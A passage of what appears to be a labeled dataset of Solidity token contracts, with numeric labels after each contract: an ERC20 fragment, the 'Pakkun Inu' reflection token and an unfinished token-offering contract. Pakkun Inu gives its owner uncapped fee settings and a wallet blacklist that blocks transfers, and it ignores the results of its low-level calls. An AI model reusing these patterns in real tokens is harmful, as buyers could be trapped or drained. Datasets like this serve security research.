Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | 1 | 3,814 |
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract PakkunInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address payable public marketingAddress =
payable(0x4A6265644637C04210598b69c5B284d73e404b1E);
address public immutable deadAddress =
0x000000000000000000000000000000000000dEaD;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isSniper;
address[] private _confirmedSnipers;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Pakkun Inu';
string private _symbol = 'PAKK';
uint8 private _decimals = 9;
uint256 public _taxFee;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 2;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 private _feeRate = 2;
uint256 launchTime;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool tradingOpen = false;
event SwapETHForTokens(uint256 amountIn, address[] path);
event SwapTokensForETH(uint256 amountIn, address[] path);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function initContract() external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
}
function openTrading() external onlyOwner {
_liquidityFee = _previousLiquidityFee;
_taxFee = _previousTaxFee;
tradingOpen = true;
launchTime = block.timestamp;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
)
public
override
returns (bool)
{
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
'ERC20: transfer amount exceeds allowance'
)
);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
'ERC20: decreased allowance below zero'
)
);
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(
!_isExcluded[sender],
'Excluded addresses cannot call this function'
);
(uint256 rAmount, , , , , ) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
public
view
returns (uint256)
{
require(tAmount <= _tTotal, 'Amount must be less than supply');
if (!deductTransferFee) {
(uint256 rAmount, , , , , ) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , ) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
require(rAmount <= _rTotal, 'Amount must be less than total reflections');
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner {
require(!_isExcluded[account], 'Account is already excluded');
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner {
require(_isExcluded[account], 'Account is already excluded');
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), 'ERC20: transfer from the zero address');
require(to != address(0), 'ERC20: transfer to the zero address');
require(amount > 0, 'Transfer amount must be greater than zero');
require(!_isSniper[to], 'You have no power here!');
require(!_isSniper[msg.sender], 'You have no power here!');
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to]
) {
require(tradingOpen, 'Trading not yet enabled.');
if (block.timestamp == launchTime) {
_isSniper[to] = true;
_confirmedSnipers.push(to);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwapAndLiquify && tradingOpen && to == uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (
contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)
) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(
100
);
}
swapTokens(contractTokenBalance);
}
}
bool takeFee = false;
if (
(from == uniswapV2Pair || to == uniswapV2Pair) &&
!(_isExcludedFromFee[from] || _isExcludedFromFee[to])
) {
takeFee = true;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokens(uint256 contractTokenBalance) private lockTheSwap {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToMarketing(address(this).balance);
}
}
function sendETHToMarketing(uint256 amount) private {
marketingAddress.call{value: amount}("");
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{ value: ethAmount }(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(
tAmount
);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tLiquidity,
_getRate()
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply)
return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if (_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(_liquidityFee).div(10**2);
}
function removeAllFee() private {
if (_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner {
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner {
_liquidityFee = liquidityFee;
}
function setMarketingAddress(address _marketingAddress) external onlyOwner {
marketingAddress = payable(_marketingAddress);
}
function transferToAddressETH(address payable recipient, uint256 amount)
private
{
recipient.transfer(amount);
}
function isRemovedSniper(address account) public view returns (bool) {
return _isSniper[account];
}
function _removeSniper(address account) external onlyOwner {
require(
account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
'We can not blacklist Uniswap'
);
require(!_isSniper[account], 'Account is already blacklisted');
_isSniper[account] = true;
_confirmedSnipers.push(account);
}
function _amnestySniper(address account) external onlyOwner {
require(_isSniper[account], 'Account is not blacklisted');
for (uint256 i = 0; i < _confirmedSnipers.length; i++) {
if (_confirmedSnipers[i] == account) {
_confirmedSnipers[i] = _confirmedSnipers[_confirmedSnipers.length - 1];
_isSniper[account] = false;
_confirmedSnipers.pop();
break;
}
}
}
function setFeeRate(uint256 rate) external onlyOwner {
_feeRate = rate;
}
receive() external payable {}
function emergencyWithdraw() external onlyOwner {
payable(owner()).send(address(this).balance);
}
} | 0 | 129 |
pragma solidity ^0.4.21;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract TokenOffering is StandardToken, Ownable, BurnableToken {
bool public offeringEnabled;
uint256 public currentTotalTokenOffering;
uint256 public currentTokenOfferingRaised;
uint256 public bonusRateOneEth;
uint256 public startTime;
uint256 public endTime;
bool public isBurnInClose = false;
bool public isOfferingStarted = false;
event OfferingOpens(uint256 startTime, uint256 endTime, uint256 totalTokenOffering, uint256 bonusRateOneEth);
event OfferingCloses(uint256 endTime, uint256 tokenOfferingRaised);
function setBonusRate(uint256 _bonusRateOneEth) public onlyOwner {
bonusRateOneEth = _bonusRateOneEth;
}
function preValidatePurchase(uint256 _amount) internal {
require(_amount > 0);
require(isOfferingStarted);
require(offeringEnabled);
require(currentTokenOfferingRaised.add(_amount) <= currentTotalTokenOffering);
require(block.timestamp >= startTime && block.timestamp <= endTime);
}
function stopOffering() public onlyOwner {
offeringEnabled = false;
}
function resumeOffering() public onlyOwner {
offeringEnabled = true;
}
function startOffering(
uint256 _tokenOffering,
uint256 _bonusRateOneEth,
uint256 _startTime,
uint256 _endTime,
bool _isBurnInClose
) public onlyOwner returns (bool) {
require(_tokenOffering <= balances[owner]);
require(_startTime <= _endTime);
require(_startTime >= block.timestamp);
require(!isOfferingStarted);
isOfferingStarted = true;
startTime = _startTime;
endTime = _endTime;
isBurnInClose = _isBurnInClose;
currentTokenOfferingRaised = 0;
currentTotalTokenOffering = _tokenOffering;
offeringEnabled = true;
setBonusRate(_bonusRateOneEth);
emit OfferingOpens(startTime, endTime, currentTotalTokenOffering, bonusRateOneEth);
return true;
}
function updateStartTime(uint256 _startTime) public onlyOwner {
require(isOfferingStarted);
require(_startTime <= endTime);
require(_startTime >= block.timestamp);
startTime = _startTime;
}
function updateEndTime(uint256 _endTime) public onlyOwner {
require(isOfferingStarted);
require(_endTime >= startTime);
endTime = _endTime;
}
function updateBurnableStatus(bool _isBurnInClose) public onlyOwner {
require(isOfferingStarted);
isBurnInClose = _isBurnInClose;
}
function endOffering() public onlyOwner {
if (isBurnInClose) {
burnRemainTokenOffering();
}
emit OfferingCloses(endTime, currentTokenOfferingRaised);
resetOfferingStatus();
}
function burnRemainTokenOffering() internal {
if (currentTokenOfferingRaised < currentTotalTokenOffering) {
uint256 remainTokenOffering = currentTotalTokenOffering.sub(currentTokenOfferingRaised);
_burn(owner, remainTokenOffering);
}
}
function resetOfferingStatus() internal {
isOfferingStarted = false;
startTime = 0;
endTime = 0;
currentTotalTokenOffering = 0;
currentTokenOfferingRaised = 0;
bonusRateOneEth = 0;
offeringEnabled = false;
isBurnInClose = false;
}
}
contract WithdrawTrack is StandardToken, Ownable {
struct TrackInfo {
address to;
uint256 amountToken;
string withdrawId;
}
mapping(string => TrackInfo) withdrawTracks;
function withdrawToken(address _to, uint256 _amountToken, string _withdrawId) public onlyOwner returns (bool) {
bool result = transfer(_to, _amountToken);
if (result) {
withdrawTracks[_withdrawId] = TrackInfo(_to, _amountToken, _withdrawId);
}
return result;
}
function withdrawTrackOf(string _withdrawId) public view returns (address to, uint256 amountToken) {
TrackInfo track = withdrawTracks[_withdrawId];
return (track.to, track.amountToken);
}
}
contract ContractSpendToken is StandardToken, Ownable {
mapping (address => address) private contractToReceiver;
function addContract(address _contractAdd, address _to) external onlyOwner returns (bool) {
require(_contractAdd != address(0x0));
require(_to != address(0x0));
contractToReceiver[_contractAdd] = _to;
return true;
}
function removeContract(address _contractAdd) external onlyOwner returns (bool) {
contractToReceiver[_contractAdd] = address(0x0);
return true;
}
function contractSpend(address _from, uint256 _value) public returns (bool) {
address _to = contractToReceiver[msg.sender];
require(_to != address(0x0));
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
